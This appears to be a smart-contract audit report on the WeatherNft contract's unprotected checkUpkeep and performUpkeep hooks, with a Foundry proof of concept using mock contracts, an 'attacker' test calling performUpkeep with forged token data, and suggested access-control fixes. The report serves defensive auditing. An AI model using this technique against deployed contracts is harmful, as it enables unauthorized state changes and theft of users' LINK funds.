Description
The contract’s Chainlink Automation hooks (checkUpkeep
and performUpkeep
) neither restrict who may invoke them nor validate the contents of the checkData
payload. This allows any on-chain actor to force the upkeep logic to execute—even with malformed or out-of-range parameters—leading to unauthorized state changes, Denial-of-Service, and fund drainage.
Vulnerability Details
Both checkUpkeep(bytes calldata)
and performUpkeep(bytes calldata)
are external with no access control.
Any EOA or contract can call them at any time.
The functions accept arbitrary bytes and do not enforce length, structure, or value ranges.
performUpkeep
never checks the boolean returned by checkUpkeep
, nor re-decodes/validates the bytes payload before use.
Combined Effect
An attacker can call performUpkeep
directly with malicious checkData
(e.g. a non-existent tokenId) and trigger internal logic paths that corrupt storage, bypass timing constraints, or drain LINK.
Likelihood
Ease of Exploitation: High. No on-chain barriers—anyone with minimal on-chain interaction tools can invoke these methods.
Exploit Complexity: Low. Simply craft and submit a transaction with malformed checkData.
Impact
Proof of Concept
Below is a minimal Foundry‐style PoC that demonstrates both the lack of access control and the malformed‐data exploit in one flow.
In the first test, an attacker
calls checkUpkeep
and performUpkeep
on a valid NFT owned by user
, with no revert and resulting state corruption.
In the second test, user
:
Mints a valid NFT, funding its upkeep mechanism with LINK.
Generate malformed checkData:
bytes memory badCheckData = abi.encode(uint256(9999)); // tokenId 9999 never minted
Invoke directly:
weatherNft.performUpkeep(badCheckData);
Observed Behavior:
No require reversion. Upkeep logic executes using garbage tokenId, corrupting state and deducting LINK.
Proof of Code
For testing purposes, make _sendFunctionsWeatherFetchRequest
and performUpkeep
virtual.
Important Note: This is made only for testing purposes and should not be used in production.
Remember to revert the changes after testing.
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
.
.
.
- function performUpkeep(bytes calldata performData) external override {
+ function performUpkeep(bytes calldata performData) external override virtual {
Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20; the MockAutomationRegistrar fakes the upkeep registration process, capturing and returning predictable upkeep IDs. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.
Add this mock contracts to two new test files:
Note: uint256 upkeepCost = 0.1 ether;
This is arbitrarily chosen to prove the exploit. This is not the real price for upkeep execution.
pragma solidity 0.8.29;
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
contract MockLinkToken is LinkTokenInterface {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public totalSupply;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
totalSupply += amount;
}
function transfer(address to, uint256 amt) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function approve(address spender, uint256 amt) external override returns (bool) {
allowance[msg.sender][spender] = amt;
return true;
}
function transferFrom(address from, address to, uint256 amt) external override returns (bool) {
require(balanceOf[from] >= amt, "MockLink: insufficient");
if (from != msg.sender) {
require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
allowance[from][msg.sender] -= amt;
}
balanceOf[from] -= amt;
balanceOf[to] += amt;
return true;
}
function transferAndCall(address to, uint256 amt, bytes calldata) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function decimals() external pure override returns (uint8) {
return 18;
}
function name() external pure override returns (string memory) {
return "MockLINK";
}
function symbol() external pure override returns (string memory) {
return "LINK";
}
function decreaseApproval(address spender, uint256 addedValue) external override returns (bool) {
uint256 old = allowance[msg.sender][spender];
if (addedValue >= old) {
allowance[msg.sender][spender] = 0;
} else {
allowance[msg.sender][spender] = old - addedValue;
}
return true;
}
function increaseApproval(address spender, uint256 subtractedValue) external override {
allowance[msg.sender][spender] += subtractedValue;
}
}
contract MockWeatherNft is WeatherNft {
bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");
constructor(
WeatherNftStore.Weather[] memory weathers,
string[] memory uris,
address functionsRouter,
WeatherNftStore.FunctionsConfig memory cfg,
uint256 mintPrice,
uint256 step,
address link,
address keeperRegistry,
address keeperRegistrar,
uint32 upkeepGaslimit
) WeatherNft(
weathers,
uris,
functionsRouter,
cfg,
mintPrice,
step,
link,
keeperRegistry,
keeperRegistrar,
upkeepGaslimit
) {}
function _sendFunctionsWeatherFetchRequest(
string memory,
string memory
) internal pure override returns (bytes32) {
return FIXED_REQ;
}
function simulateOracleResponse(
bytes32 reqId,
bytes memory resp,
bytes memory err
) public {
fulfillRequest(reqId, resp, err);
}
function performUpkeep(bytes calldata performData) external override {
uint256 tokenId = abi.decode(performData, (uint256));
uint256 upkeepCost = 0.1 ether;
bool success = LinkTokenInterface(s_link).transferFrom(address(this), address(0xdead), upkeepCost);
require(success, "MockLink: insufficient");
bytes32 reqId = keccak256(abi.encodePacked(block.timestamp, tokenId));
s_funcReqIdToTokenIdUpdate[reqId] = tokenId;
emit NftWeatherUpdateRequestSend(tokenId, reqId, s_weatherNftInfo[tokenId].upkeepId);
}
}
pragma solidity 0.8.29;
import {IAutomationRegistrarInterface} from "src/interfaces/IAutomationRegistrarInterface.sol";
contract MockAutomationRegistrar is IAutomationRegistrarInterface {
uint256 public nextUpkeepId = 1;
RegistrationParams public lastParams;
event RegisterCalled(address caller, uint256 upkeepId);
function registerUpkeep(
RegistrationParams calldata params
) external override returns (uint256) {
lastParams = params;
uint256 registeredId = nextUpkeepId;
nextUpkeepId++;
emit RegisterCalled(msg.sender, registeredId);
return registeredId;
}
}
Then, add this code to a new test enviroment, importing the Mock contracts files:
The first test prooves that anyone can call performUpkeep
and checkUpkeep
.
The second test prooves that bad checkData can be provided, which causes a false stament in checkUpkeep
and a wrong execution of performUpkeep
..
pragma solidity 0.8.29;
import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";
import {MockAutomationRegistrar} from "test/mocks/MockAutomationRegistrar.sol";
contract WeatherNftUnitTest is Test {
MockLinkToken public linkToken;
MockWeatherNft public weatherNft;
MockAutomationRegistrar public automationRegistrar;
address public user;
address public functionsRouter = address(0x1234);
uint256 constant HEARTBEAT = 60;
uint256 constant LINK_PER_KEEP = 0.1 ether;
function setUp() public {
linkToken = new MockLinkToken();
WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[](1);
weathers[0] = WeatherNftStore.Weather.SUNNY;
string[] memory uris = new string[](1);
uris[0] = "ipfs://dummy";
WeatherNftStore.FunctionsConfig memory cfg = WeatherNftStore.FunctionsConfig({
source: "",
encryptedSecretsURL: "",
subId: 0,
gasLimit: 200_000,
donId: bytes32(0)
});
automationRegistrar = new MockAutomationRegistrar();
weatherNft = new MockWeatherNft(
weathers,
uris,
functionsRouter,
cfg,
1 ether,
0.1 ether,
address(linkToken),
address(0),
address(automationRegistrar),
200_000
);
user = makeAddr("user");
vm.deal(user, 10 ether);
linkToken.mint(user, 1000 ether);
}
function test_AnyoneCanCallPerformUpkeepAndCheckUpkeep() public {
uint256 actualPrice = weatherNft.s_currentMintPrice();
uint256 LINK_DEPOSIT = 10 ether;
linkToken.mint(user, LINK_DEPOSIT);
vm.startPrank(user);
linkToken.approve(address(weatherNft), LINK_DEPOSIT);
bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
"28001", "ES", true, HEARTBEAT, LINK_DEPOSIT
);
weatherNft.simulateOracleResponse(
reqId,
abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
""
);
weatherNft.fulfillMintRequest(reqId);
vm.stopPrank();
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
bytes memory checkData = abi.encode(tokenId);
uint attackerFunds = 10 ether;
address attacker = makeAddr("attacker");
linkToken.mint(attacker, attackerFunds);
linkToken.approve(address(weatherNft), attackerFunds);
vm.startPrank(attacker);
linkToken.transfer(address(weatherNft), attackerFunds);
weatherNft.checkUpkeep(checkData);
weatherNft.performUpkeep(checkData);
vm.stopPrank();
}
function test_CheckUpkeepAndPerformUpkeepWithBadCheckData() public {
uint256 actualPrice = weatherNft.s_currentMintPrice();
uint256 LINK_DEPOSIT = 10 ether;
linkToken.mint(user, LINK_DEPOSIT);
vm.startPrank(user);
linkToken.approve(address(weatherNft), LINK_DEPOSIT);
bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
"28001", "ES", true, HEARTBEAT, LINK_DEPOSIT
);
weatherNft.simulateOracleResponse(
reqId,
abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
""
);
weatherNft.fulfillMintRequest(reqId);
vm.stopPrank();
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
bytes memory checkData = abi.encode(tokenId);
bytes memory badCheckData = abi.encode(uint256(9999));
vm.startPrank(user);
weatherNft.checkUpkeep(badCheckData);
weatherNft.performUpkeep(badCheckData);
vm.stopPrank();
}
Recommended Mitigation
To fully safeguard the Chainlink Automation hooks, apply these two controls:
checkUpkeep
Only the Keeper Registry may call checkUpkeep
.
Enforce that checkData
is exactly one uint256 (32 bytes) before decoding.
function checkUpkeep(
bytes calldata checkData
)
external
view
override
returns (bool upkeepNeeded, bytes memory performData)
{
+ require(checkData.length == 32, "Bad checkData length");
+ require(msg.sender == s_keeperRegistry, "Only Keeper registry");
uint256 _tokenId = abi.decode(checkData, (uint256));
if (_ownerOf(_tokenId) == address(0)) {
performUpkeep
Allow only the Keeper Registry or the NFT owner to call performUpkeep
.
The Keeper Registry handles automatic (subscribed) updates.
The NFT owner can trigger a one-off, manual update.
Enforce that performData
is exactly one uint256 (32 bytes) before decoding.
function performUpkeep(bytes calldata performData) external override {
+ require(performData.length == 32, "Bad data length");
uint256 _tokenId = abi.decode(performData, (uint256));
+ address owner = ownerOf(_tokenId);
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
+ if (upkeepId != 0) {
+ require(msg.sender == s_keeperRegistry, "Only Keeper registry");
+ } else {
+ require(msg.sender == owner, "Only token owner");
+ }
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
Key improvements and clarifications:
Length checks before any abi.decode
prevent malformed or oversized payloads from slipping through.
ownerOf
both verifies token existence (reverting if it’s not minted) and gives you the correct owner address.
Dual access control ensures that:
Automatic, heartbeat-based updates are only handled by the Keeper Registry.
Manual, on-demand updates can only be triggered by the rightful NFT owner.
Together, these measures eliminate unauthorized calls, block "garbage” parameters, and preserve the integrity of your on-chain automation.